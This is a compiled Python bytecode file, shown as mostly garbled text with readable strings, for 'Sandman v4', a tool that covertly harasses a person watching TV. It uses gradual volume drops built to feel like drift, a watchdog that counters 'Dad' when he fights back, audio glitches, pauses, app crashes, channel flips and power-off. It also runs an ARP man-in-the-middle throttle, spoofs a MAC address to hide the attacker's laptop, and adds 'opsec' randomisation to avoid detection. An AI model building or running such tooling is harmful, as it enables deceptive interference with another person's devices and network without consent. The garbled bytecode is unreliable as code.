x34W`bhViHjnnS$'UC'##%..z:3se?5'C5gYaHI )==?TE\)5'"JJv~~a+,5&!##'')22:>CHHs3%?yJKA:&--/D05&!##'')22:>CHHs3%8	CD	I	==?TE\)5'"JJv~~a+,5&!##'')22:>CHHs3%?yJK	G	==?TE\)5'"JJv~~a+,5&!##'')22:>CHHs3%=gYaHI	H	A:&--/C/5/*JJv~~a,-5+,##'')22:>CHHs3%6wiqAB }}%##%..z:3se7yBC &r%   c                   4    e Zd ZdZd	dedefdZd Zd Zd Z	y)
VolumeWatchdogzBackground thread that monitors volume and corrects fight-backs.
    Waits a random delay before correcting so it feels like a 'drift' not a snap.r   correction_delayc                 |    || _         d | _        || _        t        j                         | _        d | _        d| _        y Nr   )r   target_volumer  r   r   _stop_threadfight_backs)r   r   r  s      r#   r   zVolumeWatchdog.__init__`  s6    
! 0__&
r%   c                     t        j                  | j                  d      | _        | j                  j	                          y )NTr  )r   r  _runr  r  r  s    r#   r  zVolumeWatchdog.starth  s*     ''tyyFr%   c                     | j                   j                          | j                  r| j                  j                  d       y y )Nr   r   )r  r0  r  r   r  s    r#   r3  zVolumeWatchdog.stopl  s1    

<<LLa( r%   c           	         | j                   j                         s| j                  mt        | j                        }|U|| j                  dz   kD  rB| xj
                  dz  c_        t        j                  j                         j                  d      }t        j                  d| d| d| j                          t        j                  | j                   }| j                   j                  |       | j                   j                         ry | j                  t        j                  dd      z   }t!        | j                  |       t        j                  j                         j                  d      }t        j                  d| d| d	|d
d       | j                   j                  t        j                  dd             | j                   j                         sy y )Nr8   r  r  u   ] 👴 Fight-back detected: z
 > target r   rL   u   ]    ↩️  Corrected to z (after .0fs)r   r]  )r  r  r  r   r   r  r  r  r  r   r   r,   r  r  r  r-   r   )r   currentr  delay	correcteds        r#   r  zVolumeWatchdog._runq  ss   **##%!!-$TZZ0&7T5G5G!5K+K$$)$"++//1:::FCHHs3%'CG9JW[WiWiVjkl"NND,A,ABEJJOOE*zz((* $ 2 2V^^Aq5I IItzz95"++//1:::FCHHs3%'A)HUZ[^T__abcJJOOFNN1a01# **##%%r%   N))r     )
r6  r7  r8  r9  r:  r>   r   r  r3  r  r<  r%   r#   r  r  \  s*    Uc U )
2r%   r  c                      t        d      )z?Legacy run() function removed in v4. All logic now in run_v4().z0Use run_v4() or python3 sandman.py (no --legacy))NotImplementedErrorr<  r%   r#   _legacy_run_removedr	    s    
P
QQr%   r   
start_timethrottle	spoof_macc                 2  ./ t        t        |j                  d            \  }}t        j                  ||      }rOsMt
        j                  d       t        j                         dk7  rt
        j                  d       nt                nrrt        d       d .|r`s^t        | |      ..j                         rt
        j                  d       n,t
        j                  d       t
        j                  d	       d .| d
k(  s| Ot
        j                  d       t               } | rt
        j                  d|         nt
        j                  d       t
        j                  d| xs d        t
        j                  d|        t
        j                  d.rdndz          t
        j                  d        t
        j                  d       st        |       nd /dv./fd	}	t        j                  t        j                   |	       t        j                  t        j"                  |	       d }
d}d}d }	 t%        |      }|dk  r\t        j                  j'                         j)                  d      }t
        j+                  d| d       t	        j,                  d       mrd n
t/        |       }t        j                  j'                         j)                  d      }|st
        j                  d| d|  d       t        d      }|r6|| k7  r1|} t
        j                  d| d|         /r| /_        t/        |       }|,t
        j+                  d        t	        j,                  d!       ;r|
xs d"}|
1|/||
d#z   kD  r'|d#z  }t
        j                  d| d$|
 d%| d&| d'	       |d#z  }|d(k  r,d#}d#}t3        j4                  d)d*      dz  }d+\  }}}d,\  }}}d-}n|dk  r@d.}t3        j4                  d#d.      }t3        j4                  dd/      dz  }d0\  }}}d1\  }}}d2}n|d3k  r@d4}t3        j4                  d#d4      }t3        j4                  d4d5      dz  }d6\  }}}d7\  }}}d8}n?d9}t3        j4                  d.d9      }t3        j4                  d.d      dz  }d:\  }}}d;\  }}}d<}|d4k\  r7|dk  r2t
        j                  d| d=       d}t	        j,                  d>       t7        d4||z
        }g }st9        | |       |j;                  d?| d@|        |}
/rN|/_        /j>                  r/j>                  jA                         s!/jC                          |j;                  dA       .r)s'.jE                  |       |j;                  dB| dC       n.r|j;                  dB| dC       g }t3        j2                         |k  rt3        j4                  dDdE      }t3        j4                  d(t7        dt        |dFz                    } |d.k  rt3        jF                  dGgd4z  dHgz         nt3        jF                  g dI      }!|j;                  dJ| ||!f       t3        j2                         |k  rAt3        j4                  dt7        d3t        |dKz                    } |j;                  dL| dd f       t3        j2                         |k  rct3        j4                  dMt7        d3t        |dNz                    } t3        jH                  d.d5      }"|j;                  dO| t        |"dPz        d f       t3        j2                         |k  rXt3        j4                  d3t7        d!t        |dQz                    } t3        jF                  dRdSg      }#|j;                  dT| d|#f       t3        j2                         |k  rAt3        j4                  dt7        d3t        |dUz                    } |j;                  dV| dd f       |jK                  dW X       |D ]  \  }$}%}&}'|$dJk(  r|j;                  dY|' dZ|& d[|% d\       )|$dLk(  r|j;                  d]|% d\       D|$dOk(  r|j;                  d^|&dPz  d_d`|% d\       f|$dTk(  r|j;                  da|' db|% d\       |$dVk(  s|j;                  dc|% d\        t
        j                  d| dd| dedejM                  |       df|dz   dgt        |       dh       d}(|D ]v  \  }$}%}&}'|%|(z
  })|)dkD  rt	        j,                  |)       |(|)z  }(t        j                  j'                         j)                  d      }*|$dJk(  r4s2tO        | |&|'xs dGi       t
        j                  d|* dj|' dZ|& dk       |$dLk(  r's%tQ        |        t
        j                  d|* dl       |$dOk(  rTsRtS        | dm       t	        j,                  |&dPz         tS        | dn       t
        j                  d|* do|&dPz  d_dp       |$dTk(  r+s)tS        | |'       t
        j                  d|* dq|'        H|$dVk(  sOrStU        |        t
        j                  d|* dr       y sltW        |       }+|+dsk7  r\tY        | |+|       t        j                  j'                         j)                  d      },|+|k7  rt
        j                  d|, dt|+        |+}||(z
  t3        j4                  dud(      z   }-t	        j,                  t7        d(|-             )wNr   u7     🎭 Spoofing MAC address to hide MacBook identity...r   zE MAC spoofing requires sudo. Run: sudo python3 sandman.py --spoof-macT)r'   z1  Bandwidth throttling: ENABLED (running as root)z   Bandwidth throttling: DISABLEDz;    To enable: pip install scapy && sudo python3 sandman.pyauto&     🔍 Auto-discovering TV via SSDP...     📺 Found TV at u*    TV not found — will retry on each cycleu    🌙 Sandman v2 active. Target: auto-discoverz   Bedtime starts at z9   Vectors: volume + audio glitch + ambilight + app crashz + bandwidth throttlerK     Dry run: c                     t         j                  d       rj                          rj                          rs
t                t	        j
                  d       y )Nu3   
  🌅 Sandman shutting down. Restoring network...r   )r   r   r3  rJ   r   exit)sigframer'   r  	throttlerwatchdogs     r#   cleanupz_old_run.<locals>.cleanup  s>    GHMMONNWMr%   r  zWaiting for z...<   r  z] TV unreachable at u    — scanning...r1   r   u   ] 📺 TV moved to u*   TV off or not found — checking in 2 min.x   r  r8   u   ] 👴 Dad fought back! Vol rm  z (#r  r`   r  ra   ){Gz?{Gz?        )r  r  r  i  rL   rk  )r  r  r  )r  r  r    Z   r      )g      ?r  r  )r  r  r     r^  )gffffff?r  r  )r  r  r  r  u@   ] 🕊️  Backing off — too much resistance. 15 min cooldown.i  zvol    →zwatchdog ONu   bw→kbpsrU     g?r  r  )r  r  r  r  audio      ?	ambilight-   g333333?pauser  g?Backr  navigateffffff?crashc                     | d   S )Nr8   r<  rz  s    r#   r}  z_old_run.<locals>.<lambda>U  s    qtr%   r  u
   💥audio/(zms@+r  u   💡ambi(@+u   ⏸️pause(.1fzs@+u   🏠z(@+u   💀crash(@+z] P | z	 | next ~zm | +r   )r  r  ms)u   ]   💡 Ambilight off/onr  r     ]   ⏸️  Pause su	   ]   🏠 u   ]   💀 App crashedr4   u   ]   📡 Program: ir  )-maprd   splitr  rB   r   r   r   r   rE   rH   r   r   r   r  signalSIGINTSIGTERMminutes_sincer  r  rp  rC   r   r   r,   r-   r   r   appendr  r  is_aliver  r+  r  r  sortr   r  r  r  r  r  r  )0r   r   r
  r'   r  r  start_hstart_mbedtimer  prev_volumefight_back_countcycle_countprev_programelapsednow_strr  new_ipr  vol_dropintervalp_audiop_videop_crashp_pausep_ambip_nav	bw_targetnew_volactionsdisruptionsr  r  r  	pause_durnav_typed_typed_delayd_durd_style
time_spent	sleep_fornr  now_p	remainingr  r  s0      ` `                                        @@r#   _old_runrb    s[
   3
 0 0 56GWmmGW-G JK::<1KK_`O	wd#I&uj9	!!#HHHJHH79HHRTI %-9:HH*5'23KKDEHH/0H/IJKHH$ZL12HHH(1$r; <HH|G9%&HHRL -4~e$H  MM&--)
MM&..'*KKL
(Q;''++-66zBGIIZL45JJrN "$z%'8##'')22:>?7HHs7)#7w>NOP +F&E/3wi':5'BC%*HN$U+		FH

3!'RG "w':wWX?X!HHs7)#?}ERYQZ ['(+ , 	q R<EH~~a,r1H(8%GWg%5"GVUIr\E~~a+H~~a,r1H(8%GWg%5"GVUIr\E~~a+H~~a+b0H(8%GWg%5"GVUIE~~a+H~~a+b0H(8%GWg%5"GVUI q Wr\HHs7)#cde JJsO a8+,ug&gYc'34 %,H"##8+;+;+D+D+F }- W##I.NNU9+T23NNU9+T23 ==?W$..d+CNN2s2s8c>/B'CDECHA:FMM8*q.I;">?]]#KL U;<==?V#NN2s2s8c>/B'CDEUAt<===?W$NN2s2s8c>/B'CDEq!,II4D0EtLM==?U"NN2s3HsN0C'DEE}}ff%56H
E1h?@==?W$NN2s2s8c>/B'CDE489 	^,/:+FGUG G9AeWD	LM;&WIR897"eDj-=S	LM:%gYc'"=>7"gYb9: 0; 	3wis5'UZZ-@,A B2~&eCL>< 	= 
/:+FGUG*,I1}

9%i'
!!%%'00<A UE1DHE3qc	5'EF;&w '3qc!:;<7"7ug&

54<(uf%3qc!3E$Js3C1EF:%gug&3qc7)457"7e$3qc!567/ 0;4 $U+G%"5'59 ))--/88Dl*HHs5');G9EF#*L z)FNN3,CC	

3r9%& r%   c                 .   | ^t         j                  j                  t         j                  j                  t         j                  j	                  t
                    d      } t        |       5 }t        j                  |      cddd       S # 1 sw Y   yxY w)z#Load sandman config from JSON file.Nzsandman_config.json)	r   r   r   r   r   r   r&  r   load)r   r*  s     r#   load_configre    sT    |ww||BGGOOBGGOOH,EFH]^	dqyy| 
s   ,BBwatch_minutesr  c                 `   |d   }|d   }| |k  rd}nt        d| |z
  dz        }t        j                  j                         }t        t        |d   j                  d            \  }}t        t        |d   j                  d            \  }}	|d	z  |z   }
|d	z  |	z   }||
k  r|d
z  }|j                  d	z  |j                  z   }||
k  r
|dk  r|d
z  }||
k  rd}n||k\  rd}n||
z
  t        d||
z
        z  }|j                  dd      }|j                  dd      }t        d||z  ||z  z         S )zCalculate severity level (0.0 to 1.0) based on watch time and current time.
    Combines watch duration and how deep into bad hours we are.severity_curvegrace_period_minutesr        ?g      ^@bad_hours_startr   bad_hours_peakr  i  ih  r8   watch_time_weightr'  bad_hours_weight)
rl   r  r  r8  rd   r9  hourminuter   r  )rf  r  curvegracewatch_factorr  bad_start_hbad_start_m
bad_peak_h
bad_peak_mbad_start_minsbad_peak_minsnow_minstime_factorw_watchw_times                   r#   calc_severity_levelr~    sj    #$E)*E 3!6% ?@ 




!C"3/@(A(G(G(LMK f-=&>&D&DS&IJJ
 2%3NOj0M& xx"}szz)H. X%6G. 	]	".0C=>;Y4ZZii+S1GYY)3/FsL7*[6-AABBr%   severity_levelc                     |d   d   }d}t        |j                         d       D ]  \  }}| t        |      k\  s|} |S )zBGet the maximum action severity allowed at current severity level.rh  max_severity_at_levelr8   c                     t        | d         S r  )floatr0  s    r#   r}  z"get_max_severity.<locals>.<lambda>  s    uQqT{r%   r1  )sorteditemsr  )r  r  
thresholdsmax_sevthreshold_strsevs         r#   get_max_severityr    sR    ()*ABJG$Z%5%5%7=RSsU=11G T Nr%   max_severityc                 4   g }g }|d   j                         D ]a  \  }}|d   |kD  r|j                  dd      }| |k  r'd| |d   dz
  z  dz  z   }|j                  ||f       |j                  |d   |z         c |sy	t        j                  ||d
      d   S )zSPick a random action weighted by base weight. Returns (action_name, action_config).rU  severitymin_severity_levelr  rj  r8   r'  weight_baser  )weightskr   )r  r  r>  r,   choices)	r  r  r  eligibler  rv  acfg	min_levelboosts	            r#   pick_actionr    s    HGY'--/
d
l*HH137	I%nZ(81(<=CCt%tM*U23 0 >>(Gq9!<<r%   c                     |d   }|d   }|d   }|| ||z
  z  z
  }|t        j                  dd      z  }t        |||z         S )zHCalculate seconds to wait before next action. Shorter as severity rises.rL  min_secondsmax_secondsg333333ӿr  )r,   r  r   )r  r  ivalmin_smax_sr  jitters          r#   calc_intervalr    sY    *DEE^uu}55FfnnT3//Fufvo&&r%   action_name
action_cfgc                 Z   |j                  di       }t        j                  j                         j                  d      }|rt        j                  d| d|        y|dk(  rXt        |       }|Jt        d||j                  dd	      z
        }t        | |       t        j                  d| d
| d|        yy|dv rt        |       }|tt        j                  |j                  dd      |j                  dd            }	t        d||	z
        }t        | |       t        j                  d| d
| d| d|	 d	       yy|dk(  r&t        | d       t        j                  d| d       y|dk(  rt        j                  |j                  dd      |j                  dd            }
t        |
      D ]l  }t        | d       t        j                  t        j                  dd             t        | d       t        j                  t        j                  dd              n t        j                  d| d!|
 d"|
 d#       y|d$k(  rvt        j                   g d%      }t#        | |       t        j                  d       t#        | t        j                   d&d'g             t        j                  d| d(| d       y|d)k(  r`t        j                  |j                  d*d+      |j                  d,d-            }t#        | d.       t        j                  d| d/|d0d1       y|d2k(  rt        j                  |j                  d3d      |j                  d4d            }t        |      D ]#  }t#        | d5       t        j                  d        % t        j                  d| d6|        y|d7k(  r`t        j                  |j                  d8d9      |j                  d:d;            }t%        | |d<       t        j                  d| d=| d>       y|d?k(  r't%        | d@dA       t        j                  d| dB       y|dCk(  r`t        j                  |j                  d8d@      |j                  d:dD            }t%        | |dE       t        j                  d| dF| d>       y|dGk(  rt        j                  |j                  d*d      |j                  d,dH            }t#        | d.       t        j                  |       t#        | dI       t        j                  d| dJ|dKdL       y|dMk(  r6t'        | |j                  dNd             t        j                  d| dO       y|dPk(  rt#        | dQ       t        j                  |j                  dRd      |j                  dSd+            }t        j                  |       t#        | dT       t        j                  d| dU|d0d#       y|dVk(  r&t#        | d5       t        j                  d| dW       y|dXk(  r&t#        | dY       t        j                  d| dZ       y|d[k(  rt        j                   g d\gd]gd^gd_gd`gdagdbgdcgddgdegdfgdggdhgdigdjgdkgdlgdmgdngdogdpgdqgdrgdsgg dtg dug dvg dwg dxg dyg dzg d{      }g }|D ]7  \  }}t#        | |       t        j                  |       |j)                  |       9 t        j                  d| d|d}j+                  |              y|d~k(  rX|j                  dd@      }|j                  ddD      }|j                  dd      }|j                  dd      }t-        d|dz        }t        d;t/        |||z
  |z  z
              }|||z
  |z  z   }t0        j2                  j5                  d      }|sl	 t7        j8                  ddgdt6        j:                  t6        j:                         t        j                  d       t0        j2                  j5                  d      }|st        j?                  d| d       yd}	 t7        j@                  dddd|dgd       t7        j@                  dddd|ddddddgdd       t7        j@                  dddd|dddddddgdd       t7        j@                  dddd|dddddd| dd| dgdd       t7        j@                  dddd|dddddddddd|  dddgdd       t        j                  d| d| d|dz  d0d       t        j                  |       t7        j@                  dddd|dgd       t        j                  d| d       y|dk(  r&t#        | d       t        j                  d| d       yy# t<        $ r Y w xY w# t<        $ r%}t        j?                  d| d|        Y d}~d}~ww xY w# t7        j@                  dddd|dgd       t        j                  d| d       w xY w)z Execute a single sandman action.paramsr  r  z] [DRY] Nvolume_nudger   dropr8   u   ]   📉 Vol r#  )volume_dropvolume_drop_bigdrop_minrL   drop_maxr^  r   z (-r  	full_muteTu    ]   🔇 FULL MUTE (stays muted)audio_stutter_longrepeats_minr1   repeats_maxr  r.  r'  Fr  r  u   ]   💥 Long stutter (u	   × over ~r  overlay_controls)
CursorDownr  CursorRightCursorUp
CursorLeftr  u   ]   📺 Overlay controls (
pause_longpause_min_srk  pause_max_sr`   r  u   ]   ⏸️  LONG PAUSE (r  u   s — dad must act)	back_spampresses_minpresses_maxr+  u   ]   ⬅️  Back spam ×
audio_blipduration_min_msrU   duration_max_msi  r  u   ]   💥 Audio blip (r5  audio_stutterr"  r  u   ]   💥 Audio stutter
audio_fader  r  u   ]   💥 Audio fade (
pause_playr!  r  r6  r3  r7  ambilight_flickeroff_duration_su   ]   💡 Ambilight flickerchannel_nudger  delay_min_sdelay_max_sr  u   ]   📺 Channel flip (backu   ]   ⬅️  Backr  r  u   ]   🏠 Homenavigate_random)r  r  r  r  )r  r  r  r  Confirmr'  )r+  r  r  r'  )Optionsr'  )Sourcer'  )r  r'  )r  r'  )VolumeUpr.  )Muter'  )r  r  )r  r  )Stopr  )FastForwardr  )Rewindr  )AmbilightOnOffr'  Findr'  )Digit0r  Digit1r  )Digit5r  )Digit9r  )r  r.  r  r  )r  r.  r  r  ))r  r.  )r  r.  r  )r  r  r  r  )r  r  r  )r  r  r  r  )r+  r.  r  r  )r  r  )Digit2r  )Digit3r  u   ]   🎲 Random nav: rm  r  bandwidth_min_kbpsbandwidth_max_kbpsduration_s_minr  duration_s_maxr%  rj  r-  z/share/arp_mitm_state.jsonpython3z/share/arp_mitm.py)start_new_sessionr   ro  u/   ]   🌐 MITM not running — skipping throttler?  rF  r  r  r  r  r=   r  r  r  r  r  r  )r6   checkr  r  r  r  r  r  r  r  r  r  r  r]   r  r   r  r  r   r  r  u   ]   🌐 Throttle z	kbps for r  rl   u   ]   🌐 Throttle error: u   ]   🌐 Throttle ended	power_offStandbyu   ]   ⚡ POWER OFF)!r  r  r  r  r   r   r   r   r   r,   r-   r   r?   rB   rC   r  r  r  r  r  r>  r   rl   rd   r   r   existsr@   PopenDEVNULLrD   rE   rA   )r   r  r  r'   r  r  r_  volrT  r  repeatsr/   
key_choicepause_spressesr  r  moves
desc_partsr  bw_minbw_maxdur_mindur_maxseverity_factorr  durationmitm_runningr   rG   s                                 r#   execute_actionr    s
   ^^Hb)F((4A3qc+/0n$?!S6::fa#889Gug&HHs1#]3%s7)<= 
 
:	:?>>&**Z";VZZ
TU=VWD!S4Z(Gug&HHs1#]3%s7)3tfAFG	  
	#3qc9:;	,	,..M1!=vzz-YZ?[\wAUD!JJv~~c3/0UE"JJv~~c3/0	  
 	3qc0	7)2NO	*	*]]#Z[
uj!

3ufmm\=$ABC3qc4ZLBC		$..M2!>

=Z\@]^ug3qc1'#>QRS 
	#..M1!=vzz-YZ?[\wA5&!JJsO   	3qc1';<		$nnVZZ(93?L]_bAcdUC*3qc.se378		'UC+3qc/01		$nnVZZ(93?L]_cAdeUC(3qc.se378		$..M1!=vzz-YZ?[\ug

7uf3qc+GC=:;	+	+

+;Q ?@3qc345		'uo&vzz-;VZZWY=Z[

5u'(3qc0s2>?		uf3qc)*+		uf3qc'(	)	) #
#
 !!#
 !!	#

 ""#
 #
 O#
 O#
 #
 #
 $$#
 &&#
 #
 O#
 O#
  !#
" O##
$ ""%#
& '#
( %%)#
* O+#
, -#
. /#
0 1#
2 3#
6 I7#
8 K9#
: G;#
< e=#
> L?#
@ YA#
B :C#
D OE#
 #H 
$OHe5(#JJuh'  % 	3qc.w||J/G.HIJ	
	"0#60$7**-s3**-t4c>C#78c&FVO#FFGHg/?BB ww~~&BC  )-A!B37(2(:(::CUCUW 

1!ww~~.JK KK#aS OPQ E;gueUFK\`agueUFHVZ\aclnrs.2$@gueUHdT]_eglnt  wA   B.2$@gueUHdT]_egl &2$dVt4[ J.2$@ hueXtU_aegmor %wewc]HV\ ^.2$@ 3qc!3B4y"S@QQTUV

8$ gueUFK\`a3qc!89:		#ui 3qc*+, 
$9  ,  Cc!$=aSABBC gueUFK\`a3qc!89:s>   A+f1 C5g 1	f>=f>	g/
g*%g2 *g//g2 28h*c                    | j                  di       }|j                  dd      }|dk(  ryt        j                  j                         j                  d      }t	        j
                  |dz         }t        j                  j                         j                         }|d    d|d    }t	        j
                  |d	z         }|j                  t        d
      |      }t        j                  j                         j                         }	|	|v S )zWDetermine if today is a random off-day. Seeded by date so it's consistent within a day.opsecrandom_off_days_per_weekr   F%Y-%m-%doffdayrR  r8   scheduler!  )
r  r  r  r  r,   Randomisocalendarsampler?   weekday)
r  r  off_daystodayrng
week_start	week_seedweek_rngoff_day_numbers	today_dows
             r#   _is_off_dayr    s    JJw#Eyy3Q7H1}!!#,,Z8E
--(
)C""&&(446Ja=/JqM?3I}}Y34HooeAh9O!!%%'//1I''r%   c                 $   | j                  di       }|j                  dd      s
t               S t        j                  j                         j	                  d      }t        j                  |dz         }t        | d   j                               }|j                  t        |      dz  t        |      dz  dz        }t        |j                  |t        |t        |      d	z
                    }|j                  d
       |j                  d       |S )z9Each day, randomly disable some action types for variety.r  daily_personalityFr  personalityrU  r1   rL   r   r  r  )r  r0  r  r  r  r,   r   rn  keysr-   lenr  rl   discard)r  r  r  r  all_actionsnum_disableddisableds          r#   _daily_action_filterr    s    JJw#E99(%0u!!#,,Z8E
---
.Cvi(--/0K;;s;/14c+6F6Ja6OPL3::k3|S=MPQ=Q+RSTH^$\"Or%   	tv_ip_argconfig_pathc           
         t        |      }| }|j                  di       }t        |      rt        j	                  d       t
        j
                  j                         }|t        j                  d      z   j                  ddd      }t        j                  ||z
  j                                t        | ||      S t        |      }t        j                  |j                  dd       |j                  dd            }	t!        d|d   |	z         }
|d	k(  s|Ot        j	                  d       t#               }|rt        j	                  d|        nt        j%                  d       t        j	                  d       t        j	                  d|xs d        t        j	                  d|
 d|d    d       t        j	                  d|d    d|d           t        j	                  d|d   d    d|d   d    d       t        j	                  dt'        |d          d t'        |       d!       |r't        j	                  d"d#j)                  |              t        j	                  d$|j                  d%d      d&       |j                  d'd      }t        j	                  d(|dk(  rd)n|        t        j	                  d*|        dAd+}t+        j*                  t*        j,                  |       t+        j*                  t*        j.                  |       t+        j*                  t*        j0                  t*        j2                         d
}	 |t5        |      ]t#        d,-      }|rO||k7  rJ|}t
        j
                  j                         j7                  d.      }t        j	                  d/| d0|        |d
n
t5        |      }t
        j
                  j                         j7                  d.      }|/|t        j9                  d1       d
}t        j                  d2       |7t
        j
                  j                         }t        j	                  d/| d3       t
        j
                  j                         |z
  j                         d4z  }t;        ||      }t=        ||      }||
k  r:|
|z
  }t        j9                  d5|d6d7|d8d9       t        j                  d2       t        j                         |j                  d%d      k  r#t?        ||      }t        j                  |       tA        t        d:      sdt        _!        |j                  d'd      }|dkD  rFt        jB                  |k\  r3t        j	                  d/| d;| d<       t        j                  d=       \tE        |||      \  }}|r'||v r#t?        ||      }t        j                  |       |rJt        j	                  d/| d>|d8d?| d@|        tG        |||||       t        xjB                  dz  c_!        t?        ||      }t        j                  |       )BzNConfig-driven sandman engine. Runs continuously, adapts to watch time + clock.r  u;   🌙 Sandman: Today is an off-day. Sleeping until tomorrow.r8   )daysr   )ro  rp  secondstart_jitter_minutesri  r  Nr  r  u'    TV not found — will retry each cycleu(   🌙 Sandman v4 — config-driven enginez   Target: r  z   Grace period: z min (base u    ± jitter)z   Bad hours: rk  rm  rl  z   Interval: rL  r  u   s – r  r7  z   Actions: rU  z configured, z disabled todayz   Disabled today: z, z   Skip probability: skip_probabilityz.0%max_actions_per_sessionz   Max actions tonight: 	unlimitedr  c                 X    t         j                  d       t        j                  d       y )NzSandman shutting down.r   )r   r   r   r  )r  r  s     r#   r  zrun_v4.<locals>.cleanup  s    )*r%   r1   r   r  r  u   ] 📺 TV at u    TV off — resetting watch timerr  u   ] TV on — watch timer startedg      N@u   Grace period — r  z min remaining (severity: z.2fr  _action_countz] Max actions (z) reached tonight. Going quiet.r  z] sev=z	 max_sev=r4  r  )$re  r  r  r   r   r  r  	timedeltarM   rB   rC   total_secondsrun_v4r  r,   r-   r   r   rE   r  r   r:  r;  r<  SIGHUPSIG_IGNr   r  rp  r~  r  r  hasattrr!  r  r  )r  r  r'   r  r   r  r  tomorrowdisabled_todayr  effective_gracemax_actr  watch_startrJ  rI  r  rf  r  r  remaining_gracerL  max_actionsr  r  s                            r#   r$  r$    s   %FEJJw#E 6NP##%(,,!44==1QWX=Y

HsN1134ig66 *&1N ^^UYY'=qAA599McefCghF!V$:;fDEO%-9:HH*5'23KKABHH79HH{53O456HH  1VDZ=[<\\ghiHH~f%678fEU>V=WXYHH}VJ/>?vfZFXYfFgEhhijkHH|Cy 123=^AT@UUdef&tyy'@&ABCHH$UYY/A1%Ec$JKLii115GHH'w!|'QRSHH|G9%& MM&--)
MM&..'*
MM&--0K
=Ju-5 +F&E/"++//1:::F3wi}UG<= mdE):##'')22:>;&		<>KJJrN "++//1KHHs7)#BCD!**..0;>MMORVV,]FC">6: ?*-=OII)/#)>>XYghkXllmnoJJrN ==?UYY'91==$^V<HJJx  v/#$F ii 91=?v33{BHHs7)?;-?^_`JJsO #.ngv"NZ;.8$^V<HJJx HHs7)6.)=YwisS^R_`a5+z7NS  A%  !8

8G r%   c                  t   t        j                  d      } | j                  ddd       | j                  ddd	
       | j                  dd d       | j                  dd d       | j                         }t	        |j
                         t        |j                  |j                  |j                         y )Nu.   Sandman v4 — config-driven TV sleep pressure)descriptionz--tvr  z,TV IP address (or 'auto' for SSDP discovery))r  helpz	--dry-run
store_truezPrint actions only, don't send)r   r1  z--configz2Path to config JSON (default: sandman_config.json)z	--log-dirz1Directory for log files (default: same as script))r   )r  r  r'   )
argparseArgumentParseradd_argument
parse_argsr$   r   r$  tvr  r'   )prq  s     r#   mainr9  I  s    ,\]ANN660^N_NN;|:ZN[NN:t2fNgNN;3fNg<<>D$,,'
TWW$++t||Lr%   __main__)N)r5  Fr4  )g      @)r  )r"  r  )g      @)FTF)Fr'  )r  NF)Kr9  r3  r  r   r   logging.handlersr   r,   r   r:  r@   r   r   rB   urllib.requestrV   xml.etree.ElementTreeetreeElementTreeET	getLoggerr   r:  r$   r;  rH   rJ   r  r   r   r   r   r   r   r   r   r   rd   r   r   r   r   r   dictr   r   r   r   r>  r  r  r  r  r  r  r  r  r  r  r  r	  rb  re  r~  r  r>   r  r  r  r  r0  r  r$  r9  r6  r<  r%   r#   <module>rC     s)  &      	  	   
    " " g	":3 ::S 4 C$J >
3 
7 7t 7x 	5 +	 3  c s WZ]aWa ,c ,3 ,C ,C$J ,,s ,C ,S ,S4Z ,*c *cDj *<c <3 <4 <:C :t : :  
 
 
3 4$;  c 4 3 u  I I\o@ o@h # C 8C u % % & X 
# 
 
 
	# 	 	# # 0;Dc ;DC ;D ;D@'2 '2^R
 LQ16}'C }'S }'c }'D }'}'*.}'Dc T !Cu !Cd !Cu !CHU D S = =S =$ =5 =&	'% 	' 	'% 	'A-# A-C A-T A-D A-jo A-H( ( ($ # "xc x xd xv	M zF r%   